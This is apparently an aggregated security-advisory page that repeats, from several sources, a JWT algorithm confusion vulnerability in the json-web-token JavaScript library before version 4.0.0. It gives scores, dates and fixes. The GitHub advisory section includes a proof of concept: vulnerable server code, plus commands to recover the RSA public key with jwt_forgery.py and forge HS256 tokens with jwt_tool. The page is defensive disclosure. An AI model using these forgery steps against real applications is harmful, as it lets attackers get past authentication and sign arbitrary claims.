JWT Algorithm Confusion in json-web-token library

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

joaquimserafim/json-web-token is a javascript library use to interact with JSON Web Tokens (JWT) which are a compact URL-safe means of representing claims to be transferred between two parties. Versions prior to 4.0.0 are vulnerable to a JWT algorithm confusion attack. On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. Version 4.0.0 fixes the issue.

Source published

17 Nov 2023 21:35:00 UTC

Source modified

8 Jun 2026 23:38:16 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

joaquimserafim/json-web-token is a javascript library use to interact with JSON Web Tokens (JWT) which are a compact URL-safe means of representing claims to be transferred between two parties. Versions prior to 4.0.0 are vulnerable to a JWT algorithm confusion attack. On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. Version 4.0.0 fixes the issue.

Source published

Nov 17, 2023, 9:35:00 PM (timezone not stated)

Source modified

Jun 8, 2026, 11:38:16 PM (timezone not stated)

Observed here

6 Nov 2026 23:28:47 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

joaquimserafim/json-web-token is a javascript library use to interact with JSON Web Tokens (JWT) which are a compact URL-safe means of representing claims to be transferred between two parties. Versions prior to 4.0.0 are vulnerable to a JWT algorithm confusion attack. On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. Version 4.0.0 fixes the issue.

Source published

17 Nov 2023 22:15:07 UTC

Source modified

17 Jun 2026 06:33:48 UTC

Observed here

24 Oct 2026 22:17:33 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

### Summary The json-web-token library is vulnerable to a JWT algorithm confusion attack. ### Details On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. ### PoC Take a server running the following code: ```javascript const express = require('express'); const jwt = require('json-web-token'); const fs = require('fs'); const path = require('path'); const app = express(); const port = 3000; // Load the keys from the file const publicKeyPath = path.join(__dirname, 'public-key.pem'); const publicKey = fs.readFileSync(publicKeyPath, 'utf8'); const privateKeyPath = path.join(__dirname, 'private-key.pem'); const privateKey = fs.readFileSync(privateKeyPath, 'utf8'); app.use(express.json()); // Endpoint to generate a JWT token with admin: False app.get('/generateToken', async (req, res) => { const payload = { admin: false, name: req.query.name }; const token = await jwt.encode(privateKey, payload, 'RS256', function (err, token) { res.json({ token }); }); }); // Middleware to verify the JWT token function verifyToken(req, res, next) { const token = req.query.token; jwt.decode(publicKey, token, (err, decoded) => { if (err) { console.log(err) return res.status(401).json({ message: 'Token authentication failed' }); } req.decoded = decoded; next(); }); } // Endpoint to check if you are the admin or not app.get('/checkAdmin', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` **Public key recovery** First, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below. Grab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py` ``` python3 jwt_forgery.py token1 token2 ``` The tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats. **Algorithm confusion** Change the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`. Copy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`. ``` python /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token ``` You will now get a resulting JWT token that is validly signed. ### Impact Applications using the RS256 algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads that the verifier will accept. ### Solution Either one of the following solutions will work. 1. Change the signature of the `decode` function to ensure that the algorithm is set in that call 2. Check whether or not the secret could be a public key in the decode function and in that case, set the key to be a public key. > Fixed in 4.0.0. Both encode and decode now reject combinations where the key type (PEM vs plain secret) doesn't match the algorithm family. Upgrade with npm install json-web-token@^4.

Source published

17 Nov 2023 22:48:15 UTC

Source modified

19 Oct 2026 20:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH